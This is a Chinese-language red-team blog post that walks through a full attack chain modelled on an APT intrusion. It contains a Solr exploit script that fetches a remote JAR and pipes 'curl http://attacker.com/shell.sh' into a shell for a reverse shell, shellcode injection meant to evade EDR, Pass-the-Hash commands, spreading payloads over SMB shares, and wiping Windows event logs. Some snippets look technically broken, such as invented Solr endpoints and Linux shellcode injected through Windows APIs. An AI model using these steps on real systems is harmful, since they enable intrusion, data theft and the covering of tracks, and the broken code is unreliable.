一、APT攻击事件背后的红队战术

黑客示意图

2023年某知名企业遭受APT组织攻击,攻击者通过精心策划的鱼叉式钓鱼邮件,成功诱骗一名高管下载了一份伪装成财务报表的恶意文档。在短短48小时内,攻击者不仅实现了内网横向移动,还成功窃取了大量敏感数据。事件的细节被曝光后,很多人将目光聚焦在防御策略上,而作为红队,我们更关注的是攻击的细节——攻击者是如何做到这一切的?又有哪些战术技术可以借鉴?

本文仅供授权安全测试和学习研究,请勿用于非法用途。

黑客示意图

---

二、信息收集:攻击从这里开始

主动侦查与被动探测中的选择

通常情况下,红队的第一步是信息收集。为了在目标环境中隐匿自身,大多数攻击者更倾向于被动信息收集,如利用搜索引擎、漏洞数据库和开源情报(OSINT)获取目标相关信息。

以下是一个简单的Python脚本,用于抓取某企业域名的子域信息:

<pre><code class="language-python">import requests from bs4 import BeautifulSoup import re

子域名抓取函数,输入域名

def get_subdomains(domain): url = f&quot;https://crt.sh/?q=%25.{domain}&quot; response = requests.get(url, headers={&quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;}) soup = BeautifulSoup(response.text, &quot;html.parser&quot;) subdomains = set(re.findall(rf&quot;[a-zA-Z0-9.-]+\.{domain}&quot;, soup.text)) return subdomains

if __name__ == &quot;__main__&quot;: target_domain = &quot;example.com&quot; subdomains = get_subdomains(target_domain) print(&quot;[*] Found Subdomains:&quot;) for subdomain in subdomains: print(f&quot;- {subdomain}&quot;)</code></pre>

使用技巧:

  1. 通过crt.sh获取SSL证书中出现的子域名,隐蔽且可靠。
  2. 将收集的子域作为后续漏洞扫描和钓鱼邮件的目标。

社交工程:更高级的信息获取手段

信息收集不仅限于技术性手段,很多APT攻击案例表明,社交工程是极为有效的方式。例如,通过LinkedIn确定目标公司的关键人员,并结合社交媒体内容分析其习惯和专业领域,为后续的鱼叉式钓鱼提供素材。

---

三、漏洞利用:武器化你的攻击链

利用已知漏洞构造攻击链

假设目标服务器运行的是存在未修复漏洞的Apache Solr(CVE-2019-0193)。这里我们直接通过漏洞构造一个反弹Shell的EXP:

<pre><code class="language-python">import requests import sys import base64

def exploit_solr_rce(target_url, command): headers = {&quot;Content-Type&quot;: &quot;application/json&quot;} payload = { &quot;set-property&quot;: { &quot;params.resource.loader.enabled&quot;: &quot;true&quot;, &quot;params.resource.loader.lib&quot;:&quot;http://attacker.com/exploit.jar&quot; } }

发送恶意配置

requests.post(f&quot;{target_url}/solr/admin/configs&quot;, json=payload, headers=headers)

构造绕过命令执行的方式

exploit_payload = f&quot;curl http://attacker.com/shell.sh | sh&quot; encoded_payload = base64.b64encode(exploit_payload.encode()).decode() final_payload = f&quot;bash -c {{echo,{encoded_payload}}}|{{base64,-d}}|{{bash,-i}}&quot;

requests.post(f&quot;{target_url}/solr/admin/execute&quot;, data=final_payload, headers=headers) print(&quot;[+] Exploit Sent Successfully&quot;)

黑客示意图

if __name__ == &quot;__main__&quot;: target_url = sys.argv[1] exploit_solr_rce(target_url, &quot;id&quot;)</code></pre>

步骤复现:

  1. 部署一个监听服务(如nc -lvp 4444)接收反弹Shell。
  2. 将恶意JAR文件托管到公网可访问的服务器上。
  3. 使用以上脚本对目标发起攻击。

零日漏洞挖掘与利用

比起利用已知漏洞,红队的巅峰目标是开发0day。以下是简单的C代码示例,模拟栈溢出漏洞的利用:

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;string.h&gt;

void vulnerable_function(char *input) { char buffer[16]; strcpy(buffer, input); // 这里存在栈溢出 }

int main(int argc, char *argv[]) { if (argc &lt; 2) { printf(&quot;Usage: %s &lt;input&gt;\n&quot;, argv[0]); return -1; } vulnerable_function(argv[1]); return 0; }</code></pre>

编译与利用:

  1. 编译漏洞程序:gcc -fno-stack-protector -z execstack vuln.c -o vuln
  2. 利用GDB调试,计算返回地址并构造攻击载荷:
  • 利用pattern_create生成payload。
  • 覆盖返回地址,指向自定义Shellcode。

---

四、绕过与免杀:EDR不是不可战胜的

动态分析规避:让AV形同虚设

现代EDR(Endpoint Detection and Response)通常以行为为基础检测攻击活动。以下是分步实现免杀的方式:

  1. 内存加载代码执行
  2. 使用Python加载Payload到内存中,避免落地文件被特征匹配。

<pre><code class="language-python">import ctypes

示例:简单的shellcode注入

shellcode = b&quot;\x48\x31\xc0\x50\x48\x89\xe2\x50\x48\x89\xe6\x04\x3b\x0f\x05&quot; ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)</code></pre>

  1. 混淆与加密
  2. 静态特征检测很容易通过加壳或字符串混淆绕过。例如,将Payload用对称加密(如AES)加密,并在运行时解密。

  1. 异构语言编译
  2. 将攻击载荷转化为多种语言实现,并分别测试有效性。

---

五、横向移动:逐步接近高价值目标

使用Pass-the-Hash攻击

在横向移动阶段,获取到域用户的哈希值后,可以直接通过Pass-the-Hash技术登录到其他机器。以下是基于Impacket的实践:

<pre><code class="language-bash"># 使用Impacket工具 impacket-psexec -hashes &lt;NTLM_HASH&gt; [email protected]</code></pre>

利用共享目录传播

利用目标网络中常见的SMB共享,红队可以将恶意文件通过共享传播到多个主机。例如:

<pre><code class="language-bash"># 在Linux下挂载目标SMB mount -t cifs //192.168.1.10/shared /mnt -o username=user,password=pass

上传Payload

cp payload.exe /mnt/payload.exe</code></pre>

---

六、痕迹清理:清除一切存在的痕迹

攻击完成后,清理操作至关重要。以下是常见的清理方法:

  1. 删除日志:清理Windows事件日志以掩盖攻击活动。
  2. `bash wevtutil cl System wevtutil cl Security wevtutil cl Application `

  1. 清除文件:
  2. `bash del /F /Q payload.exe `

  1. 注销会话:
  2. 使用Metasploitmigrate模块,将远控会话迁移到无关进程并结束当前进程。

---

七、经验谈:红队的哲学

  1. 多维度攻击:永远不要局限于技术,社会工程同样重要。
  2. 持续学习:攻击技术每天都在进步,保持敏锐。
  3. 隐匿是关键:一旦被发现,攻击链将彻底中断。

无论是从零搭建攻击链,还是绕过复杂的EDR,红队的目标始终是以攻击者视角发现系统最大的问题。